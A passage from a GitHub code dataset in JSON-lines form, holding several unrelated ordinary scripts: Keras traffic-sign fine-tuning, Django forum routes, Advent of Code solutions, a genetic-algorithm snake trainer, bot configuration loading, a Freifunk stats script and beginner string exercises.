Dropout, Activation, Flatten\nfrom keras.layers.convolutional import Conv2D\nfrom keras.layers.pooling import MaxPooling2D\n\nfrom keras.layers import Dense, GlobalAveragePooling2D\nfrom keras.optimizers import SGD\nfrom keras.models import Model\nfrom keras import backend as K\nK.set_image_data_format('channels_last')\n\nfrom keras.callbacks import LearningRateScheduler, ModelCheckpoint\nimport os, logging\nfrom keras import metrics\nfrom keras.models import load_model\nimport datetime\nimport json\nfrom sklearn.model_selection import train_test_split\nfrom keras import metrics\nfrom PIL import Image\n\nlogging.info(\"program started on - \" + str(datetime.datetime.now))\n\n# load the user configs\nwith open('conf.json') as f:\n\tconfig = json.load(f)\n\n# config variables\nmodel_name \t\t= config[\"model\"]\nweights \t\t= config[\"weights\"]\ninclude_top \t= config[\"include_top\"]\ntrain_path \t\t= config[\"train_path\"]\nfeatures_path \t= config[\"features_path\"]\nlabels_path \t= config[\"labels_path\"]\ntest_size \t\t= config[\"test_size\"]\nresults \t\t= config[\"results\"]\nmodel_path \t\t= config[\"model_path\"]\nseed \t\t= config[\"seed\"]\nclassifier_path = config[\"classifier_path\"]\nlog_path\t\t= config[\"log_path\"]\n#top_model_path = config[\"top_model_path\"]\n\n#Corleone\ncode_path=\"/home/drobert/tfg/traffic_sign_machine_learning/vgg16/\"\ndataset_path='/home/drobert/tfg/'\ntop_model_path = config[\"top_model_path\"]\n\n#local\n#code_path= \"/home/david/PycharmProjects/traffic_sign_machine_learning/vgg16/\"\n#dataset_path=\"/home/david/Escritorio/TFG/Pruebas/\"\n#top_model_path =code_path+\"output/vgg16_top_classifier.h5\"\n\nimg_rows, img_cols = 48, 48 #80,80 #100,100#224, 224 # 48, 48 Resolution of inputs\nchannel = 3\nnum_classes = 43\nbatch_size = 16\nepochs = 20\nIMG_SIZE = 48\n#lr = 0.01\n\nfichero_log = (code_path +'vgg16.log')\n\nprint('Archivo Log en ', fichero_log)\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s : %(levelname)s : %(message)s',\n filename = fichero_log,\n filemode = 'a',)# w for new log each time\n\n\nprint (\"[STATUS] --------vgg16 finetuning - systematized - start time - {}\".format(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")))\nlogging.info(\" ---------vgg16 finetuning - start time - {}\".format(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")))\n\n\n\n\ndef preprocess_img(img):\n img = image.img_to_array(img)\n img = preprocess_input(img)\n\n return img\n\ndef preprocess_img_old(img):\n # normalizacion del histograma en el canal 'v'\n hsv = color.rgb2hsv(img)\n hsv[:, :, 2] = exposure.equalize_hist(hsv[:, :, 2])\n img = color.hsv2rgb(hsv)\n\n # recorte del cuadrado central\n min_side = min(img.shape[:-1])\n centre = img.shape[0] // 2, img.shape[1] // 2\n img = img[centre[0] - min_side // 2:centre[0] + min_side // 2,\n centre[1] - min_side // 2:centre[1] + min_side // 2,\n :]\n\n # reescalado de imagenes a tamaño standard\n img = transform.resize(img, (IMG_SIZE, IMG_SIZE), mode='constant')\n\n return img\n\n\ndef get_class(img_path):\n return int(img_path.split('/')[-2])\n\n\nos.chdir(dataset_path) #direccion local Jupyter Notebooks/pycharm\nroot_dir = 'GTSRB/Final_Training/Images/'\n\n#os.chdir('/home/drobert/tfg/')#direccion en corleone\n#root_dir = 'GTSRB/Final_Training/Images/'\n\n\nimgs = []\nlabels = []\n\nruta_actual = os.getcwd()\nprint(ruta_actual)\n\nall_img_paths = glob.glob(os.path.join(root_dir, '*/*.ppm'))\n\nprint(os.path.join(root_dir, '*/*.ppm'))\nprint(len(all_img_paths))\n\nnp.random.shuffle(all_img_paths)\n\nfor img_path in all_img_paths:\n #img = preprocess_img(io.imread(img_path))\n img = image.load_img(img_path, target_size=(IMG_SIZE,IMG_SIZE))\n img = preprocess_img(img)\n label = get_class(img_path)\n imgs.append(img)\n labels.append(label)\n\nX = np.array(imgs, dtype='float32')\nY = np.asarray(labels)\n\nprint(X.shape)\nprint(Y.shape)\n\nlogging.info(X.shape)\nlogging.info(Y.shape)\n\n\n# Vamos a hacer cross validation con nuestro conjunt de test.\n# En concreto vamos a hacer un Kfold con 10 splits estratificado,\n# de tal manera que cada conjunto tenga aproximadamente el mismo porcentaje\n# de muestras de cada clase que el conjunto de entrenamiento.\n\ntraining_history_list = []\nval_accuracy_list = []\n\nconfusion_matrix_list = []\nclf_list = []\nfilename_clf_list = []\n\n\n#def lr_schedule(epoch):\n # return lr * (0.1 ** int(epoch / 10))\n\n\nX_train, X_val, y_train, y_val = train_test_split(X, Y, test_size=0.2)\n\n# Make one hot targets\ny_train_one_hot = np.eye(num_classes, dtype='uint8')[y_train]\ny_val_one_hot = np.eye(num_classes, dtype='uint8')[y_val]\n\n\n\n# Load our model\n#-------------------------------------------\n\ntop_model_weights_path = top_model_path\n\n# build the VGG16 network\n#model = VGG16(weights='imagenet', include_top=False)\n\n\n# create the base pre-trained model\nbase_model = VGG16(weights='imagenet', include_top=False)\n\n# add a global spatial average pooling layer\nx = base_model.output\nx = GlobalAveragePooling2D()(x)\n# let's add a fully-connected layer\nx = Dense(1024, activation='relu')(x)\n# and a logistic layer -- let's say we have 43 classes\npredictions = Dense(43, activation='softmax')(x)\n\n# this is the model we will train\nmodel = Model(inputs=base_model.input, outputs=predictions)\n\n# first: train only the top layers (which were randomly initialized)\n# i.e. freeze all convolutional InceptionV3 layers\nfor layer in base_model.layers:\n layer.trainable = False\n\nprint(\"Entrenendo top model...\")\nlogging.info(\"Entrenendo top model...\")\n\n# compile the model (should be done *after* setting layers to non-trainable)\nmodel.compile(optimizer='rmsprop', loss='categorical_crossentropy', metrics=[metrics.categorical_accuracy])\n\n# train the model on the new data for a few epochs\nmodel.fit(X_train, y_train_one_hot,\n batch_size=batch_size,\n epochs=epochs,\n shuffle=True,\n verbose=1,\n validation_data=(X_val, y_val_one_hot),\n )\n\n# at this point, the top layers are well trained and we can start fine-tuning\n# convolutional layers from inception V3. We will freeze the bottom N layers\n# and train the remaining top layers.\n\n# let's visualize layer names and layer indices to see how many layers\n# we should freeze:\nfor i, layer in enumerate(base_model.layers):\n print(i, layer.name)\n\n# we chose to train the top 2 inception blocks, i.e. we will freeze\n# the first 15 layers and unfreeze the rest:\nfor layer in model.layers[:15]:\n layer.trainable = False\nfor layer in model.layers[15:]:\n layer.trainable = True\n\nprint(\"Entrenando model ensamblado (top+base) ...\")\nlogging.info(\"Entrenando ensamblado (top+base) ...\")\n\n# we need to recompile the model for these modifications to take effect\n# we use SGD with a low learning rate\nfrom keras.optimizers import SGD\nmodel.compile(optimizer=SGD(lr=0.0001, momentum=0.9),\n loss='categorical_crossentropy',metrics=[metrics.categorical_accuracy])\n\n# we train our model again (this time fine-tuning the top vgg16 conv block\n# alongside the top Dense layers\nmodel.fit(X_train, y_train_one_hot,\n batch_size=batch_size,\n epochs=epochs,\n shuffle=True,\n verbose=1,\n validation_data=(X_val, y_val_one_hot),\n )\n\n# Make predictions\npredictions_valid = model.predict(X_val, batch_size=batch_size, verbose=1)\n# Cross-entropy loss score\nscore = log_loss(y_val, predictions_valid)\n\nval_accuracy = model.evaluate(X_val, y_val_one_hot, verbose=1)\n\nprint('val accuracy: '+ str(val_accuracy))\nlogging.info('val accuracy: '+ str(val_accuracy))\n\n#print(\"%s: %.2f%%\" % (model.metrics_names[1], val_accuracy[1] * 100))\n#logging.info(\"%s: %.2f%%\" % (model.metrics_names[1], val_accuracy[1] * 100))\n\n#clf_list.append(model) # lista de cada uno de los los clasificadores\n\n#print('lista de accuracys de los modelos: '+str(val_accuracy_list))\n#logging.info('lista de accuracys de los modelos: '+str(val_accuracy_list))\n\n#precision_media = (np.mean(val_accuracy_list))\n#desviacion_standar = (np.std(val_accuracy_list))\n\n#print(\"mean_accuarcy: %.2f%% (+/- %.2f%%)\" % (np.mean(val_accuracy_list), np.std(val_accuracy_list)))\n#logging.info(\"mean_accuarcy: %.2f%% (+/- %.2f%%)\" % (np.mean(val_accuracy_list), np.std(val_accuracy_list)))\n\n\n# ---------TEST--------\nprint(\"Cargando imagenes de Test...\")\nlogging.info(\"Cargando imagenes de Test...\")\n\n\nruta_actual = os.getcwd()\n#print(ruta_actual)\n#print(os.listdir(ruta_actual))\nos.chdir(dataset_path+'GTSRB')#En local\n#os.chdir('/home/drobert/tfg/GTSRB')#En corleone\n\n# Cargamos el archivo csv con los datos de test y vemos que contienen los 10 primeros\ntest = pd.read_csv('GT-final_test.csv', sep=';')\n#test.head(10)\n\n# In[61]:\n\n# Cargamos el dataset de test\nos.chdir(dataset_path+'GTSRB/Final_Test/Images/')#en local\n#os.chdir('/home/drobert/tfg/GTSRB/Final_Test/Images/')#en corleone\n\nX_test = []\ny_test = []\ni = 0\n\nfor file_name, class_id in zip(list(test['Filename']), list(test['ClassId'])):\n # img_path = os.path.join('GTSRB/Final_Test/Images/', file_name)\n img_path = os.path.join(os.getcwd(), file_name)\n img = image.load_img(img_path, target_size=(IMG_SIZE, IMG_SIZE))\n X_test.append(preprocess_img(img))\n y_test.append(class_id)\n\nX_test = np.array(X_test)\ny_test = np.array(y_test)\n\n\n#Los targets tienen que estar en formato one target\ny_test_one_target = np.eye(num_classes, dtype='uint8')[y_test]\n\n\n#print(\"precision media: \"+str(precision_media))\n#logging.info(\"precision media: \"+str(precision_media))\n\n#model_indx = modelo_medio_indx(precision_media, val_accuracy_list)\n\n#print(\"indice del modelo medio: \"+str(model_indx))\n#logging.info(\"indice del modelo medio: \"+str(model_indx))\n\n# cargamos el modelo medio de disco\nos.chdir(code_path)\n#best_model =clf_list[0]\n\ntest_accuracy = model.evaluate(X_test, y_test_one_target, verbose=1)\n\nprint('test accuracy: '+str(test_accuracy))\nlogging.info('test accuracy: '+str(test_accuracy))\n\n#print(\"Accuracy en test : %s: %.2f%%\" % (model.metrics_names[1], test_accuracy[1] * 100))\n#logging.info(\"Accuracy en test : %s: %.2f%%\" % (model.metrics_names[1], test_accuracy[1] * 100))\n\n\n#Guardar best_model en un pickle\n\n\ntoday_date = datetime.date.today().strftime(\"%d-%m-%Y\")\n\nbest_model_filename= (\"finetuningVGG16_epochs%s_test_acc_%.2f%%_%s.h5\" % (epochs,test_accuracy[1] * 100, today_date))\n\n#pickle.dump(best_model, open((code_path + str(best_model_filename)), 'wb'))\n\n#guardar con h5 no funciona por tener un metodo custom de accuracy\nmodel.save(best_model_filename)\n\n\n#Comprobamos que el modelo cargado tiene la misma precision\n\n#loaded_model = pickle.load(open(best_model_filename, 'rb'))\nloaded_model = load_model(best_model_filename)# No funciona con custom metrics\n\nloaded_model_test_accuracy = loaded_model.evaluate(X_test, y_test_one_target, verbose=1)\n\n\nprint('test accuracy: '+str(loaded_model_test_accuracy))\nlogging.info('test accuracy: '+str(loaded_model_test_accuracy))\n\n#print(\"Loaded_model accuracy en test : %s: %.2f%%\" % (loaded_model.metrics_names[1], loaded_model_test_accuracy[1] * 100))\n#https://github.com/keras-team/keras/issues/3911\n#La solucion propuesta arriba tampoco funciona\n\n#loaded_model = load_model('best_model_filename', custom_objects={'get_categorical_accuracy_keras': get_categorical_accuracy_keras})\n#loaded_model_test_accuracy = loaded_model.evaluate(X_test, y_test_one_target, verbose=1)\n\n# Una técnica muy útil para visualizar el rendimiento de nuestro algoritmo es\n# la matriz de confusión. y la mostramos de varia formas. Solo mostramos\n# la matriz de confusion del modelo medio.\n\n#Para generar la matriz de confusión necesitamos los targets en formato lista\n#No en one hot encoding.\n\n\ny_pred = loaded_model.predict(X_test)\n#pasamos a one hot encoding para que tenga la misma estructura que y_pred\n#No funciona así, tendran que ser los 2 vectores unidimensionales\n#y_test_one_hot = to_categorical(y_test, NUM_CLASSES)\n\n#pasamos y_pred que esta en one hot encoding a un vector plano\ny_pred_no_one_hot= np.argmax(y_pred, axis=1, out=None)\n\nprint(\"shape de y_test , y_pred_no_one_hot :\")\n\nprint(y_test.shape)\nprint(y_pred_no_one_hot.shape)\n\n#cm = pd.DataFrame(confusion_matrix(y_test, y_pred_no_one_hot))\n#logging.info(\"matriz de confusión del modelo medio: \")\n#logging.info(cm)\n\n\nprint(\"Fin de la prueba vgg16 finetuning \")\nlogging.info(\"-----------Fin de la prueba vgg16 finetuning-----------\")\nlogging.info(\"program ended on - \" + str(datetime.datetime.now))","repo_name":"MrRobert91/traffic_sign_machine_learning","sub_path":"vgg16/vgg16_finetuning.py","file_name":"vgg16_finetuning.py","file_ext":"py","file_size_in_byte":13115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30564319197","text":"from django.contrib.auth.decorators import login_required\nfrom django.urls import path\n\nfrom . import views\n\napp_name = 'forum'\n\nurlpatterns = [\n path('', views.PaginationView.as_view(), name='index'),\n path('signup/', views.SignupView.as_view(), name='signup'),\n path('login/', views.LoginView.as_view(), name='login'),\n path('logout/', login_required(views.LogoutView.as_view()), name='logout'),\n path('user//', login_required(views.UserView.as_view()), name='user'),\n path('users/', views.UsersView.as_view(), name='users'),\n path('ask/', login_required(views.AskQuestionView.as_view()), name='ask'),\n path('question//', views.QuestionView.as_view(), name='question'),\n path('top/', views.TopQuestionsView.as_view(), name='top'),\n path('tag//', views.TagQuestionsView.as_view(), name='tag')\n]\n","repo_name":"NikitaLobaev/Technopark_Web","sub_path":"forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18433454846","text":"# https://adventofcode.com/2022/day/13\nfrom ast import literal_eval\nfrom typing import List\n\nfrom utils.files import get_input\nfrom utils.strings import parse_text_as_list\nfrom utils.tests import tests\n\n\nTEST_1 = [\n (\"\"\" \n [1,1,3,1,1]\n [1,1,5,1,1]\n \n [[1],[2,3,4]]\n [[1],4]\n \n [9]\n [[8,7,6]]\n \n [[4,4],4,4]\n [[4,4],4,4,4]\n \n [7,7,7,7]\n [7,7,7]\n \n []\n [3]\n \n [[[]]]\n [[]]\n \n [1,[2,[3,[4,[5,6,7]]]],8,9]\n [1,[2,[3,[4,[5,6,0]]]],8,9]\n \"\"\",\n 13),\n]\n\n\n# Time complexity: O(m+n); m and n total length of each packet if flattened\n# Space complexity: O(m+n)\n@get_input\n@tests(TEST_1)\n@parse_text_as_list\ndef part_1(packets: List[str]) -> int:\n indices_sum = 0\n\n def check_lists(a: list, b: list) -> int:\n i, j = 0, 0\n if a and not b:\n return 0\n if b and not a:\n return 1\n\n m, n = len(a), len(b)\n while i < m and j < n:\n if isinstance(a[i], list) and isinstance(b[j], list):\n res = check_lists(a[i], b[j])\n if res != 2:\n return res\n\n if isinstance(a[i], list) and not isinstance(b[j], list):\n res = check_lists(a[i], [b[j]])\n return 0 if res == 2 else res\n\n if not isinstance(a[i], list) and isinstance(b[j], list):\n res = check_lists([a[i]], b[j])\n return 1 if res == 2 else res\n\n if a[i] != b[j]:\n return 1 if a[i] < b[j] else 0\n\n i += 1\n j += 1\n\n return 1 if m - i < n - j else (0 if m - i > n - j else 2)\n\n for p in range(0, len(packets), 3):\n list_a = list(literal_eval(packets[p]))\n list_b = list(literal_eval(packets[p + 1]))\n\n if check_lists(list_a, list_b) == 1:\n indices_sum += (p // 3 + 1)\n\n return indices_sum\n\n\nTEST_2 = [\n (\"\"\" \n [1,1,3,1,1]\n [1,1,5,1,1]\n\n [[1],[2,3,4]]\n [[1],4]\n\n [9]\n [[8,7,6]]\n\n [[4,4],4,4]\n [[4,4],4,4,4]\n\n [7,7,7,7]\n [7,7,7]\n\n []\n [3]\n\n [[[]]]\n [[]]\n\n [1,[2,[3,[4,[5,6,7]]]],8,9]\n [1,[2,[3,[4,[5,6,0]]]],8,9]\n \"\"\",\n 140),\n]\n\n\n# Time complexity: O(p*log(p)*(m+n)); k=len(packets)\n# Space complexity: O(p*(m+n))\n@get_input\n@tests(TEST_2)\n@parse_text_as_list\ndef part_2(packets_str: List[str]) -> int:\n\n def check_lists(a: list, b: list) -> int:\n i, j = 0, 0\n if a and not b:\n return 0\n if b and not a:\n return 1\n\n m, n = len(a), len(b)\n while i < m and j < n:\n if isinstance(a[i], list) and isinstance(b[j], list):\n res = check_lists(a[i], b[j])\n if res != 2:\n return res\n\n if isinstance(a[i], list) and not isinstance(b[j], list):\n res = check_lists(a[i], [b[j]])\n return 0 if res == 2 else res\n\n if not isinstance(a[i], list) and isinstance(b[j], list):\n res = check_lists([a[i]], b[j])\n return 1 if res == 2 else res\n\n if a[i] != b[j]:\n return 1 if a[i] < b[j] else 0\n\n i += 1\n j += 1\n\n return 1 if m - i < n - j else (0 if m - i > n - j else 2)\n\n def quick_sort(unsorted_array):\n if len(unsorted_array) < 2:\n return unsorted_array\n\n pivot = unsorted_array[0]\n loe = [elem for elem in unsorted_array[1:] if check_lists(elem, pivot) > 0] # elem <= pivot\n gt = [elem for elem in unsorted_array[1:] if check_lists(elem, pivot) == 0] # elem > pivot\n\n return quick_sort(loe) + [pivot] + quick_sort(gt)\n\n packets = []\n for p in range(0, len(packets_str), 3):\n packets.append(list(literal_eval(packets_str[p])))\n packets.append(list(literal_eval(packets_str[p + 1])))\n\n packets.append([[2]])\n packets.append([[6]])\n\n packets = quick_sort(packets)\n\n return (packets.index([[2]]) + 1) * (packets.index([[6]]) + 1)\n\n\nif __name__ == '__main__':\n print(part_1())\n print(part_2())\n","repo_name":"ronelzb/advent-of-code","sub_path":"2022/13/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19363839950","text":"import random\nimport numpy as np\nimport pickle\nimport argparse\nimport time\nfrom Arena import Arena\nfrom input import *\nfrom snake import snake # Import your snake class here\n\n# Constants\nMUTATION_PERCENT = 5\nMUTATION_INTENSITY = 0.1\nPERCENT_BEST_OLD_POP = 10\nPERCENT_WORST_OLD_POP = 10\nNO_OF_GENERATIONS = 100\nPOPULATION_SIZE = 300\n\n# Progress bar function\ndef progress_bar(curr, total, length):\n frac = curr / total\n filled_bar = round(frac * length)\n print('\\r', '#' * filled_bar + '-' * (length - filled_bar), '[{:>7.2%}]'.format(frac), end='')\n\n# Function to run all the snakes of a population\ndef run(snakes, arena):\n i = 1\n count = [0 for _ in range(300)]\n snakes_killed = 0\n env_seed = random.random()\n for s in snakes:\n start_time = time.time()\n checkloop = False\n progress_bar(i, POPULATION_SIZE, 30)\n random.seed(env_seed)\n s.Brain.setNextFood(arena.newFood(s.list))\n while s.isAlive():\n result = s.Brain.decision_from_nn(s.head_x, s.head_y, s.list, s.direction)\n if s.steps_taken > 250:\n if not checkloop:\n checkloop = True\n any_point_of_loop = (s.head_x, s.head_y)\n times = 0\n elif (s.head_x, s.head_y) == any_point_of_loop:\n times += 1\n if times > 2:\n s.crash_wall = True\n s.crash_body = True\n snakes_killed += 1\n else:\n checkloop = False\n\n if time.time() - start_time > 0.5:\n s.crash_wall = True\n s.crash_body = True\n snakes_killed += 1\n\n if (s.head_x, s.head_y) == arena.food:\n s.steps_taken = 0\n result = s.Brain.decision_from_nn(s.head_x, s.head_y, s.list, s.direction)\n if not s.increaseSize(result):\n s.crash_wall = True\n start_time = time.time()\n s.Brain.setNextFood(arena.newFood(s.list))\n if not s.move(result):\n break\n random.seed()\n count[len(s.list) - 1] += 1\n i += 1\n print('\\nsnakes distribution with index as score: ', count[0:15], 'snakes killed', snakes_killed)\n\n# Function to print the top five snakes info\ndef print_top_5(five_snakes):\n i = 0\n for snake in five_snakes:\n i += 1\n print('snake:', i, ', score:', len(snake.list) - 1, ', steps:', snake.steps_taken, end='\\t')\n if snake.crash_body and snake.crash_wall:\n print('crashed repetition')\n elif snake.crash_wall and not snake.crash_body:\n print('crashed wall')\n else:\n print('crashed body')\n\n# Function to save the top snakes\ndef save_top_snakes(snakes, filename):\n with open(filename, 'wb') as f:\n pickle.dump(snakes, f)\n\n# Function to create the population for the next generation\ndef create_new_population(snakes):\n parents = []\n top_old_parents = int(POPULATION_SIZE * PERCENT_BEST_OLD_POP / 100)\n bottom_old_parents = int(POPULATION_SIZE * PERCENT_WORST_OLD_POP / 100)\n \n for i in range(top_old_parents):\n parent = snake(width, height, brainLayer, block_length, random_weights=False, random_bases=False)\n parent.Brain.weights = snakes[i].Brain.weights\n parent.Brain.bases = snakes[i].Brain.bases\n parents.append(parent)\n \n for i in range(POPULATION_SIZE - 1, POPULATION_SIZE - bottom_old_parents - 1, -1):\n parent = snake(width, height, brainLayer, block_length, random_weights=False, random_bases=False)\n parent.Brain.weights = snakes[i].Brain.weights\n parent.Brain.bases = snakes[i].Brain.bases\n parents.append(parent)\n \n children = generate_children(parents, POPULATION_SIZE - (top_old_parents + bottom_old_parents))\n children = mutate_children(children)\n parents.extend(children)\n return parents\n\n# Function to mutate the children\ndef mutate_children(children):\n for child in children:\n for weight in child.Brain.weights:\n for _ in range(int(weight.shape[0] * weight.shape[1] * MUTATION_PERCENT / 100)):\n row = random.randint(0, weight.shape[0] - 1)\n col = random.randint(0, weight.shape[1] - 1)\n weight[row, col] += random.uniform(-MUTATION_INTENSITY, MUTATION_INTENSITY)\n return children\n\n# Function to generate children based on the parents passed\ndef generate_children(parents, no_of_children):\n all_children = []\n l = len(parents)\n for count in range(no_of_children):\n parent1 = random.choice(parents)\n parent2 = random.choice(parents)\n child = snake(width, height, brainLayer, block_length)\n for i in range(len(parent1.Brain.weights)):\n for j in range(parent1.Brain.weights[i].shape[0]):\n for k in range(parent1.Brain.weights[i].shape[1]):\n child.Brain.weights[i][j, k] = random.choice(\n [parent1.Brain.weights[i][j, k], parent2.Brain.weights[i][j, k]])\n for j in range(parent1.Brain.bases[i].shape[1]):\n child.Brain.bases[i][0, j] = random.choice(\n [parent1.Brain.bases[i][0, j], parent2.Brain.bases[i][0, j]])\n all_children.append(child)\n return all_children\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument('-o', '--output', required=True, help='relative path to save the snakes')\n args = vars(ap.parse_args())\n snakes = [snake(width, height, brainLayer, block_length) for _ in range(POPULATION_SIZE)]\n arena = Arena(width, height, block_length)\n top_snakes = []\n for i in range(NO_OF_GENERATIONS):\n print('generation:', i + 1, ',')\n run(snakes, arena)\n snakes.sort(key=lambda x: (len(x.list), -x.steps_taken), reverse=True)\n print_top_5(snakes[0:5])\n print('saving the snake')\n top_snakes.append(snakes[0])\n save_top_snakes(top_snakes, args['output'])\n snakes = create_new_population(snakes)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"sh1d0wg1m3r/snake-stolen-concept","sub_path":"Genetic_algo.py","file_name":"Genetic_algo.py","file_ext":"py","file_size_in_byte":6137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"37042813156","text":"\n# coding: utf-8\n\n# In[3]:\n\n\n# author = Younggyun Hahm (hahmyg@gmail.com)\n\n# SentencePiece tokenizer is used for training and tokenizing\n\n\n# In[2]:\n\n\nimport sentencepiece as sp\nimport os\n\n\n# In[5]:\n\n\ntry:\n dir_path = os.path.dirname(os.path.abspath( __file__ ))\nexcept:\n dir_path = '.'\n \nmodel_path = dir_path + '/data/tokenizer.model'\ntokenizer = sp.SentencePieceProcessor()\ntokenizer.Load(model_path)\n\ndef tokenize(text):\n tokenized = tokenizer.EncodeAsPieces(text)\n return tokenized\n\ndef detokenize(tokens):\n detokenized = ''.join(tokens).replace('▁', ' ').lstrip()\n return detokenized\n\n","repo_name":"teddy-ai/teddy_tokenizer","sub_path":"tokenizer_module.py","file_name":"tokenizer_module.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21032430716","text":"import logging\nimport os\n\nimport toml\n\nlogger = logging.getLogger(__name__)\n\n\nclass Settings:\n def __init__(self, settings_path):\n server_settings_path = os.path.join(settings_path, \"channel_info.toml\")\n try:\n server_settings = toml.load(server_settings_path)\n\n # Server\n self.server_info = server_settings[\"server\"][\"info\"]\n\n # Channels\n self.channels = server_settings[\"channels\"]\n self.mod_channel = self.channels[\"moderation\"]\n self.log_channel = self.channels[\"log_channel\"]\n self.normal_channel = self.channels[\"normal_channel\"]\n\n # Roles\n self.user_roles = server_settings[\"user_roles\"]\n self.admin_roles = self.user_roles[\"admin\"]\n self.elevated_roles = self.user_roles[\"elevated\"]\n self.badboi_role = self.user_roles[\"bad\"]\n self.unverified_role = self.user_roles[\"unverified\"]\n self.fun_roles = self.user_roles[\"fun\"]\n self.employment_roles = self.user_roles[\"employment\"]\n\n # RSS Feeds\n self.feeds = server_settings[\"rss_feeds\"]\n self.rss_feed = self.feeds[\"links\"]\n except Exception as e:\n logger.warning(f\"Failed to grab server info. No file under {server_settings_path}\")\n self.server_info = None\n self.channels = None\n self.mod_channel = None\n self.log_channel = None\n self.normal_channel = None\n self.user_roles = None\n self.admin_roles = None\n self.elevated_roles = None\n self.badboi_role = None\n self.unverified_role = None\n self.fun_roles = None\n self.employment_roles = None\n self.feeds = None\n self.rss_feed = None\n\n reaction_role_config_path = os.path.join(settings_path, \"reaction_roles.toml\")\n try:\n self.reaction_role_data = toml.load(reaction_role_config_path)\n except Exception as e:\n self.reaction_role_data = None\n logger.warning(f\"Failed to grab reaction roles. No file under {reaction_role_config_path}\")\n","repo_name":"practical-python-org/ZorakBot","sub_path":"src/zorak/utilities/core/server_settings.py","file_name":"server_settings.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"52"} +{"seq_id":"4279885525","text":"#!/usr/bin/env python3\n# -*- coding: utf8 -*-\n#\n# (c) 2015 dray \n#\n# This script is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License or any later version.\n#\n# This script is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY. See the\n# GNU General Public License for more details.\n#\n# For a copy of the GNU General Public License\n# see .\n#\n#\n\nimport argparse\nfrom JsonManager import JsonManager\nfrom GraphiteManager import GraphiteManager\n\nparser = argparse.ArgumentParser(description='This Script gets information about Freifunk Muenster')\nparser.add_argument('--server', required=True, help='Server')\nparser.add_argument('--port', required=True, help='Port', default=2003)\nparser.add_argument('--socket', help='Alfred-Socket', default='/run/alfred.sock')\nparser.add_argument('--domain', help='Freifunk Domäne', default='legacy')\nparser.add_argument('--local', help='Load local json files (alfred_158.json,alfred_159.json)', action='store_true')\nparser.add_argument('--print-only', help='Print only', action='store_true')\nargs = parser.parse_args()\n\njsonManager = JsonManager()\nif args.local:\n jsonManager.loadJson()\nelse:\n jsonManager.loadJsonFromAlfred(args.socket)\njsonManager.processJson158()\njsonManager.processJson159()\njsonManager.processJson160()\n\ngraphiteManager = GraphiteManager(args.server, args.port, args.domain)\ngraphiteManager.prepareMessage(jsonManager.result)\n\nif args.print_only:\n graphiteManager.printout()\nelse:\n graphiteManager.send()\n","repo_name":"TinoM/node-stats","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"6784861854","text":"# 문자열\n\n# 문제\n# 문자열을 입력으로 주면 문자열의 첫 글자와 마지막 글자를 출력하는 프로그램을 작성하시오.\n\n# 입력\n# 입력의 첫 줄에는 테스트 케이스의 개수 T(1 ≤ T ≤ 10)가 주어진다. \n# 각 테스트 케이스는 한 줄에 하나의 문자열이 주어진다. 문자열은 알파벳 A~Z 대문자로 이루어지며 알파벳 사이에 공백은 없으며 문자열의 길이는 1000보다 작다.\n\n# 출력\n# 각 테스트 케이스에 대해서 주어진 문자열의 첫 글자와 마지막 글자를 연속하여 출력한다.\n\nn = int(input())\n\nfor i in range(n):\n str1 = input()\n result = str1[0] + str1[-1]\n print(result)\n\n#--------------------------------------------------------------------------------------------------------------------\n\n# 아스키 코드 출력\n\nprint(ord(input()))\n\n#-------------------------------------------------------------------------------------------------------------------------\n\n# 숫자의 합\n\n# 문제\n# N개의 숫자가 공백 없이 쓰여있다. 이 숫자를 모두 합해서 출력하는 프로그램을 작성하시오.\n\n# 입력\n# 첫째 줄에 숫자의 개수 N (1 ≤ N ≤ 100)이 주어진다. 둘째 줄에 숫자 N개가 공백없이 주어진다.\n\n# 출력\n# 입력으로 주어진 숫자 N개의 합을 출력한다.\n\nn = int(input())\nnumbers = input()\nresult = 0\n\nfor i in range(n):\n result += int(numbers[i])\n\nprint(result)\n\n#------------------------------------------------------------------------------------------------------------------\n\n# 알파벳 찾기\n\n# 문제\n# 알파벳 소문자로만 이루어진 단어 S가 주어진다. 각각의 알파벳에 대해서, 단어에 포함되어 있는 경우에는 처음 등장하는 위치를, 포함되어 있지 않은 경우에는 -1을 출력하는 프로그램을 작성하시오.\n\n# 입력\n# 첫째 줄에 단어 S가 주어진다. 단어의 길이는 100을 넘지 않으며, 알파벳 소문자로만 이루어져 있다.\n\n# 출력\n# 각각의 알파벳에 대해서, a가 처음 등장하는 위치, b가 처음 등장하는 위치, ... z가 처음 등장하는 위치를 공백으로 구분해서 출력한다.\n\n# 만약, 어떤 알파벳이 단어에 포함되어 있지 않다면 -1을 출력한다. 단어의 첫 번째 글자는 0번째 위치이고, 두 번째 글자는 1번째 위치이다.\n\nalpha = \"abcdefghijklmnopqrstuvwxyz\"\nstr1 = input()\nresult = []\n\nfor i in alpha:\n # if i in str1:\n # result.append(str1.index(i))\n # else:\n # result.append(-1) index 사용할 경우\n\n result.append(str1.find(i)) # find 사용할 경우\n\n# print(\" \".join(str(e) for e in result))\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n# 문자열 반복\n\n# 문제\n# 문자열 S를 입력받은 후에, 각 문자를 R번 